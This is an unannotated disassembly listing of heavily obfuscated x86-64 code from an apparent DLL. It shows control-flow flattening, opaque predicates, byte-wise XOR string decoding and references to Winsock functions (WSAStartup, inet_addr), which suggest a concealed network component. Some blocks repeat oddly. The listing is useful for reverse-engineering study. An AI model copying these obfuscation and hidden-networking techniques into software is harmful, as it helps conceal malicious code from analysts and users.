cmp ecx, 0xff9fb55d
jle 0x18007a1c0
cmp ecx, 0x75847964
je 0x18007a1de
cmp ecx, 0x64823d8c
je 0x18007aa3c
cmp ecx, 0xff9fb55e
jne 0x18007a180
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007a180
cmp ecx, 0xabbc78b9
je 0x18007a1e5
cmp ecx, 0xf18f601f
jne 0x18007a180
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007a180
mov ecx, 0x64823d8c
jmp 0x18007a180
mov ecx, edx
jmp 0x18007a180
mov dword [rbp + 0x9b8], edx
mov edx, dword [rbp + 0x9b8]
mov word [rcx + 6], dx
add rcx, 8
mov qword [rbp + 0xe0], rcx
lea rcx, [0x18011fc52]
mov qword [rbp + 0xf0], rcx
mov edx, 0x1a09ebef
nop word [rax + rax]
cmp edx, 0x54ed227f
jg 0x18007a280
cmp edx, 0xf1c982ca
je 0x18007aa77
cmp edx, 0x1a09ebef
jne 0x18007a220
mov rdx, qword [rbp + 0xf0]
movzx edx, word [rdx]
mov dword [rbp + 0xb8], edx
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop word cs:[rax + rax]
nop
cmp ebx, 0xeabf51c2
je 0x18007a272
cmp ebx, 0x4bd3432e
jne 0x18007a260
jmp 0x18007a2b6
mov ebx, 0x4bd3432e
jmp 0x18007a260
cmp edx, 0x54ed2280
je 0x18007a31d
cmp edx, 0x7d53ce04
jne 0x18007a220
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x9b8]
mov edx, 0x7d53ce04
mov ebx, 0xf1c982ca
cmove edx, ebx
jmp 0x18007a220
mov word [rbp + 0xc8], dx
movzx edx, word [rbp + 0xc8]
mov dword [rbp + 0xb0], edx
mov ebx, 0xf1216f95
nop
cmp ebx, 0xa73b602f
je 0x18007a359
cmp ebx, 0xf1216f95
jne 0x18007a2d0
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x18007a2d0
mov rcx, qword [rbp + 0xe0]
mov dword [rbp + 0xb8], 0x65
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop word cs:[rax + rax]
cmp ebx, 0xeabf51c2
je 0x18007a352
cmp ebx, 0x4bd3432e
jne 0x18007a340
jmp 0x18007a379
mov ebx, 0x4bd3432e
jmp 0x18007a340
mov dword [rbp + 0xc8], edx
mov edx, dword [rbp + 0xc8]
mov rbx, qword [rbp + 0xe0]
mov word [rbx], dx
mov edx, 0x54ed2280
jmp 0x18007a220
mov word [rbp + 0xc8], dx
movzx edx, word [rbp + 0xc8]
mov dword [rbp + 0xb0], edx
mov ebx, 0xf1216f95
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xa73b602f
je 0x18007a3e9
cmp ebx, 0xf1216f95
jne 0x18007a3a0
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x18007a3a0
mov dword [rbp + 0xc8], edx
mov edx, dword [rbp + 0xc8]
mov word [rcx + 2], dx
mov dword [rbp + 0xb8], 0x44
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop dword [rax + rax]
cmp ebx, 0xeabf51c2
je 0x18007a422
cmp ebx, 0x4bd3432e
jne 0x18007a410
jmp 0x18007a429
mov ebx, 0x4bd3432e
jmp 0x18007a410
mov word [rbp + 0xc8], dx
movzx edx, word [rbp + 0xc8]
mov dword [rbp + 0xb0], edx
mov ebx, 0xf1216f95
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xa73b602f
je 0x18007a499
cmp ebx, 0xf1216f95
jne 0x18007a450
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x18007a450
mov dword [rbp + 0xc8], edx
mov edx, dword [rbp + 0xc8]
mov word [rcx + 4], dx
mov dword [rbp + 0xb8], 0x42
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop dword [rax + rax]
cmp ebx, 0xeabf51c2
je 0x18007a4d2
cmp ebx, 0x4bd3432e
jne 0x18007a4c0
jmp 0x18007a4d9
mov ebx, 0x4bd3432e
jmp 0x18007a4c0
mov word [rbp + 0xc8], dx
movzx edx, word [rbp + 0xc8]
mov dword [rbp + 0xb0], edx
mov ebx, 0xf1216f95
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xa73b602f
je 0x18007a549
cmp ebx, 0xf1216f95
jne 0x18007a500
mov edx, dword [rbp + 0xb8]
mov ebx, dword [rbp + 0xb0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x18007a500
mov dword [rbp + 0xc8], edx
mov edx, dword [rbp + 0xc8]
mov word [rcx + 6], dx
add rcx, 8
mov rdx, qword [rbp + 0xd8]
add rdx, 0x12
mov qword [rbp + 0x9b8], rdx
mov edx, 0x7d53ce04
jmp 0x18007a220
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12e], cl
mov dword [rbp + 0x9b8], 0x79
mov ecx, 0x1e41b6af
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x615460a8
jle 0x18007a600
cmp ecx, 0x7b913b8f
je 0x18007a614
cmp ecx, 0x713d3d7d
je 0x18007aabe
cmp ecx, 0x615460a9
jne 0x18007a5b0
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x18007a5f0
cmp eax, 0x8c3c334e
jne 0x18007a5e0
jmp 0x18007a61b
mov eax, 0x8c3c334e
jmp 0x18007a5e0
cmp ecx, 0x1b714e29
je 0x18007a62d
cmp ecx, 0x1e41b6af
jne 0x18007a5b0
mov ecx, edx
jmp 0x18007a5b0
mov ecx, 0x713d3d7d
jmp 0x18007a5b0
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ecx, r10d
jmp 0x18007a5b0
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x18007a652
cmp ecx, 0x8c3c334e
jne 0x18007a640
jmp 0x18007a659
mov ecx, 0x8c3c334e
jmp 0x18007a640
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x18007a5b0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 3], al
mov dword [rbp + 0xd8], 0x4d
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007a710
cmp ecx, 0x75847964
je 0x18007a72e
cmp ecx, 0x64823d8c
je 0x18007abb0
cmp ecx, 0xff9fb55e
jne 0x18007a6d0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007a6d0
cmp ecx, 0xabbc78b9
je 0x18007a735
cmp ecx, 0xf18f601f
jne 0x18007a6d0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007a6d0
mov ecx, 0x64823d8c
jmp 0x18007a6d0
mov ecx, edx
jmp 0x18007a6d0
mov cl, byte [rbp + 0xf0]
mov byte [rax + 6], cl
mov ecx, 0xbb92f901
nop word [rax + rax]
cmp ecx, 0x4bfbd828
je 0x18007abf7
cmp ecx, 0xbb92f901
jne 0x18007a750
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x18007a782
cmp ecx, 0xe93106a3
jne 0x18007a770
jmp 0x18007a789
mov ecx, 0xe93106a3
jmp 0x18007a770
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x6e
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x18007a750
mov dword [rbp + 0x9b8], 1
mov ecx, dword [rbp + 0x9b8]
movsx ecx, cl
add ecx, 0x65
mov edx, dword [0x180129cb8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edi, 0x43384baf
cmovne edi, r8d
mov edx, 0xef259028
cmove edx, esi
cmp dword [0x180129cbc], 0xa
cmovl edi, r9d
mov dword [rbp + 0x9b8], ecx
cmovl edx, esi
mov ecx, 0x506d9536
nop dword [rax + rax]
cmp ecx, 0x43384bae
jle 0x18007a830
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 2], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x18007a8f0
cmp ecx, 0xfa630b3d
je 0x18007a908
cmp ecx, 0x21a21833
je 0x18007a90f
cmp ecx, 0x180fafe8
jne 0x18007a8c0
mov ecx, edx
jmp 0x18007a8c0
cmp ecx, 0x91c44eb1
je 0x18007ac9c
cmp ecx, 0xb9fa49fa
jne 0x18007a8c0
mov ecx, ebx
jmp 0x18007a8c0
mov ecx, 0xb9fa49fa
jmp 0x18007a8c0
mov ecx, 0x180fafe8
jmp 0x18007a8c0
mov byte [rbp + 0xe0], cl
movzx ecx, byte [rbp + 0xe0]
mov esi, dword [rbp + 0xf0]
mov edx, esi
and edx, 0x76
or edx, 8
and esi, 0x89
mov eax, ecx
and eax, 0x76
or eax, 0x81
and ecx, 0xffffff89
xor ecx, esi
xor ecx, eax
xor ecx, edx
xor cl, 0x89
mov byte [r9 + 4], cl
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007aa35
cmp ecx, 0x71319a28
jne 0x18007aa20
jmp 0x18007ad1c
mov ecx, 0x71319a28
jmp 0x18007aa20
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007ada7
cmp edi, 0x35d4fac2
jne 0x18007aa50
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007aa50
mov rcx, qword [rbp + 0x48]
sub rsp, 0x20
call fcn.1800951f0
add rsp, 0x20
mov rcx, qword [rbp + 0x100]
mov rbx, qword [rbp - 0x78]
sub rsp, 0x20
xor edx, edx
mov r8, rax
call rbx
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov eax, 0xe3b1a3b5
jmp 0x180074cd0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12f], cl
mov dword [rbp + 0x9b8], 0x56
mov ecx, 0x1e41b6af
nop word [rax + rax]
cmp ecx, 0x615460a8
jle 0x18007ab40
cmp ecx, 0x7b913b8f
je 0x18007ab54
cmp ecx, 0x713d3d7d
je 0x18007ae39
cmp ecx, 0x615460a9
jne 0x18007aaf0
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x18007ab30
cmp eax, 0x8c3c334e
jne 0x18007ab20
jmp 0x18007ab5b
mov eax, 0x8c3c334e
jmp 0x18007ab20
cmp ecx, 0x1b714e29
je 0x18007ab6d
cmp ecx, 0x1e41b6af
jne 0x18007aaf0
mov ecx, edx
jmp 0x18007aaf0
mov ecx, 0x713d3d7d
jmp 0x18007aaf0
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x18007ab92
cmp ecx, 0x8c3c334e
jne 0x18007ab80
jmp 0x18007ab99
mov ecx, 0x8c3c334e
jmp 0x18007ab80
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x18007aaf0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007be45
cmp edi, 0x35d4fac2
jne 0x18007abd0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007abd0
mov cl, byte [rbp + 0xf0]
mov byte [rax + 7], cl
mov ecx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp ecx, 0x4bfbd828
je 0x18007bed9
cmp ecx, 0xbb92f901
jne 0x18007ac10
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x18007ac42
cmp ecx, 0xe93106a3
jne 0x18007ac30
jmp 0x18007ac49
mov ecx, 0xe93106a3
jmp 0x18007ac30
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x4b
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x18007ac10
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x61
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop dword [rax + rax]
cmp edx, 0x3226a3c6
je 0x18007bfc2
cmp edx, 0xccf8862c
jne 0x18007acc0
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x18007acc0
mov dword [rbp + 0xf0], 0xa
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007ad70
cmp edx, 0x926a4418
je 0x18007ad8e
cmp edx, 0xbe73cc8d
je 0x18007ad9c
cmp edx, 0xe39c1de6
jne 0x18007ad40
jmp 0x18007c132
cmp edx, 0x8bbf196b
je 0x18007ada3
cmp edx, 0x8f01ddc2
jne 0x18007ad40
movzx ecx, byte [rbp + 0xd8]
add cl, 4
mov edx, edi
jmp 0x18007ad40
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007ad40
mov edx, 0xe39c1de6
jmp 0x18007ad40
mov edx, ebx
jmp 0x18007ad40
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 4], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x18007ae10
cmp ecx, 0x75847964
je 0x18007ae2e
cmp ecx, 0x64823d8c
je 0x18007c19c
cmp ecx, 0xff9fb55e
jne 0x18007add0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007add0
cmp ecx, 0xabbc78b9
je 0x18007ae35
cmp ecx, 0xf18f601f
jne 0x18007add0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007add0
mov ecx, 0x64823d8c
jmp 0x18007add0
mov ecx, edx
jmp 0x18007add0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x130], cl
lea rax, [rbp + 0x131]
mov qword [rbp + 0xf0], rax
mov eax, 0xdc2f55b6
mov r10d, 0x1b714e29
mov ecx, dword [0x180129cc0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xbb12c641
mov edx, 0x81a3c24c
cmove ecx, edx
cmp dword [0x180129cc4], 0xa
cmovl ecx, edx
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xbb12c640
jle 0x18007aed0
cmp eax, 0xbb12c641
je 0x18007aef0
cmp eax, 0xdc2f55b6
je 0x18007aee7
cmp eax, 0x255a9039
jne 0x18007aea0
cmp eax, 0x81a3c24c
je 0x18007afe0
cmp eax, 0xaee2b93b
jne 0x18007aea0
jmp 0x18007c1d7
mov eax, ecx
jmp 0x18007aea0
mov dword [rbp + 0xe0], 0x61
lea eax, [r9 - 1]
imul eax, r9d
and eax, 1
mov ecx, 0x1b714e29
cmove ecx, r11d
sete dl
cmp r8d, 0xa
cmovl ecx, r11d
setl bl
xor al, bl
and dl, bl
xor dl, al
mov ebx, 0x7b913b8f
cmovne ebx, r10d
mov eax, 0x1e41b6af
cmp eax, 0x615460a8
jle 0x18007af80
cmp eax, 0x7b913b8f
je 0x18007af92
cmp eax, 0x1b714e29
je 0x18007afaa
mov dword [rbp + 0xe0], 0x61
lea eax, [r9 - 1]
imul eax, r9d
and eax, 1
mov ecx, 0x1b714e29
cmove ecx, r11d
sete dl
cmp r8d, 0xa
cmovl ecx, r11d
setl bl
xor al, bl
and dl, bl
xor dl, al
mov ebx, 0x7b913b8f
cmovne ebx, r10d
mov eax, 0x1e41b6af
cmp eax, 0x615460a8
jle 0x18007b070
cmp eax, 0x7b913b8f
je 0x18007b082
cmp eax, 0x1b714e29
je 0x18007b09a
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 4], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop word [rax + rax]
cmp ecx, 0xff9fb55d
jle 0x18007beb0
cmp ecx, 0x75847964
je 0x18007bece
cmp ecx, 0x64823d8c
je 0x18007c661
cmp ecx, 0xff9fb55e
jne 0x18007be70
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x18007be70
cmp ecx, 0xabbc78b9
je 0x18007bed5
cmp ecx, 0xf18f601f
jne 0x18007be70
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x18007be70
mov ecx, 0x64823d8c
jmp 0x18007be70
mov ecx, edx
jmp 0x18007be70
mov cl, byte [rbp + 0xf0]
mov byte [rax + 8], cl
add rax, 9
mov qword [rbp + 0xc8], rax
lea rax, [0x18011fa7d]
mov qword [rbp + 0xd8], rax
mov ecx, 0xa4938aad
jmp 0x18007c6d0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 3], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x18007c050
cmp ecx, 0xfa630b3d
je 0x18007c068
cmp ecx, 0x21a21833
je 0x18007c06f
cmp ecx, 0x180fafe8
jne 0x18007c020
mov ecx, edx
jmp 0x18007c020
cmp ecx, 0x91c44eb1
je 0x18007cc9c
cmp ecx, 0xb9fa49fa
jne 0x18007c020
mov ecx, ebx
jmp 0x18007c020
mov ecx, 0xb9fa49fa
jmp 0x18007c020
mov ecx, 0x180fafe8
jmp 0x18007c020
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 5], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x18007c195
cmp ecx, 0x71319a28
jne 0x18007c180
jmp 0x18007cd1c
mov ecx, 0x71319a28
jmp 0x18007c180
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x18007cda7
cmp edi, 0x35d4fac2
jne 0x18007c1b0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007c1b0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x18007ce91
cmp edi, 0x35d4fac2
jne 0x18007c680
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x18007c680
mov ecx, dword [0x180129cc8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xb666d89c
mov edx, 0x2c3b1977
cmove ecx, edx
cmp dword [0x180129ccc], 0xa
cmovl ecx, edx
nop dword [rax]
cmp ecx, 0xd9c3945b
jle 0x18007c700
cmp ecx, 0x2c3b1976
jg 0x18007c790
cmp ecx, 0xd9c3945c
je 0x18007c7b9
cmp ecx, 0xfe91f8e
jne 0x18007c6d0
jmp 0x18007c6a7
cmp ecx, 0x8ddb2e11
je 0x18007cf29
cmp ecx, 0xa4938aad
je 0x18007c7d9
cmp ecx, 0xb666d89c
jne 0x18007c6d0
mov cl, byte [rbp + 0xa8]
mov edx, 0xbb92f901
nop dword [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007c7f2
cmp edx, 0xbb92f901
jne 0x18007c730
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007c762
cmp edx, 0xe93106a3
jne 0x18007c750
jmp 0x18007c769
mov edx, 0xe93106a3
jmp 0x18007c750
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, cl
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c730
cmp ecx, 0x2c3b1977
je 0x18007c869
cmp ecx, 0x683874b8
jne 0x18007c6d0
mov ecx, 0xd9c3945c
mov rax, qword [rbp + 0xe0]
jmp 0x18007c6d0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rbp + 0xf0]
mov ecx, 0xd9c3945c
mov edx, 0x8ddb2e11
cmove ecx, edx
jmp 0x18007c6d0
mov rcx, qword [rbp + 0xd8]
mov cl, byte [rcx]
mov byte [rbp + 0xa8], cl
mov ecx, 0xfe91f8e
jmp 0x18007c6d0
mov cl, byte [rbp + 0xb8]
mov rdx, qword [rbp + 0xc8]
mov byte [rdx], cl
mov rcx, qword [rbp + 0xc8]
mov edx, 0xbb92f901
nop dword [rax]
cmp edx, 0x4bfbd828
je 0x18007c8d8
cmp edx, 0xbb92f901
jne 0x18007c810
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007c842
cmp edx, 0xe93106a3
jne 0x18007c830
jmp 0x18007c849
mov edx, 0xe93106a3
jmp 0x18007c830
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x79
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c810
mov cl, byte [rbp + 0xa8]
mov edx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp edx, 0x4bfbd828
je 0x18007c949
cmp edx, 0xbb92f901
jne 0x18007c880
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007c8b2
cmp edx, 0xe93106a3
jne 0x18007c8a0
jmp 0x18007c8b9
mov edx, 0xe93106a3
jmp 0x18007c8a0
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, cl
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c880
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 1], dl
mov edx, 0xbb92f901
nop word cs:[rax + rax]
cmp edx, 0x4bfbd828
je 0x18007c9c9
cmp edx, 0xbb92f901
jne 0x18007c8f0
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007c922
cmp edx, 0xe93106a3
jne 0x18007c910
jmp 0x18007c929
mov edx, 0xe93106a3
jmp 0x18007c910
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x45
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c8f0
mov cl, byte [rbp + 0xb8]
mov rdx, qword [rbp + 0xc8]
mov byte [rdx], cl
mov rcx, qword [rbp + 0xc8]
mov edx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp edx, 0x4bfbd828
je 0x18007ca39
cmp edx, 0xbb92f901
jne 0x18007c970
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007c9a2
cmp edx, 0xe93106a3
jne 0x18007c990
jmp 0x18007c9a9
mov edx, 0xe93106a3
jmp 0x18007c990
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x79
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c970
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 2], dl
mov edx, 0xbb92f901
nop word [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007caa9
cmp edx, 0xbb92f901
jne 0x18007c9e0
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007ca12
cmp edx, 0xe93106a3
jne 0x18007ca00
jmp 0x18007ca19
mov edx, 0xe93106a3
jmp 0x18007ca00
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x78
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007c9e0
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 1], dl
mov edx, 0xbb92f901
nop word [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007cb19
cmp edx, 0xbb92f901
jne 0x18007ca50
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007ca82
cmp edx, 0xe93106a3
jne 0x18007ca70
jmp 0x18007ca89
mov edx, 0xe93106a3
jmp 0x18007ca70
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x45
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007ca50
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 3], dl
mov edx, 0xbb92f901
nop word [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007cb89
cmp edx, 0xbb92f901
jne 0x18007cac0
mov edx, 0x9c071d3a
nop dword [rax]
cmp edx, 0x9c071d3a
je 0x18007caf2
cmp edx, 0xe93106a3
jne 0x18007cae0
jmp 0x18007caf9
mov edx, 0xe93106a3
jmp 0x18007cae0
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x57
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007cac0
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 2], dl
mov edx, 0xbb92f901
nop word [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007cba3
cmp edx, 0xbb92f901
jne 0x18007cb30
mov edx, 0x9c071d3a
nop word cs:[rax + rax]
nop
cmp edx, 0x9c071d3a
je 0x18007cb62
cmp edx, 0xe93106a3
jne 0x18007cb50
jmp 0x18007cb69
mov edx, 0xe93106a3
jmp 0x18007cb50
mov qword [rbp + 0x9b8], rbx
mov rdx, qword [rbp + 0x9b8]
mov dl, byte [rdx]
xor dl, 0x78
mov byte [rbp + 0xb8], dl
mov edx, 0x4bfbd828
jmp 0x18007cb30
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 4], dl
mov rcx, qword [rbp + 0xb0]
mov ecx, 0x2c3b1977
jmp 0x18007c6d0
mov dl, byte [rbp + 0xb8]
mov byte [rcx + 3], dl
mov edx, 0xbb92f901
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x4bfbd828
je 0x18007cc19
cmp edx, 0xbb92f901
jne 0x18007cbc0
mov edx, 0x9c071d3a
nop word cs:[rax + rax]
nop
cmp edx, 0x9c071d3a
je 0x18007cbf2
cmp edx, 0xe93106a3
jne 0x18007cbe0
jmp 0x18007cbf9
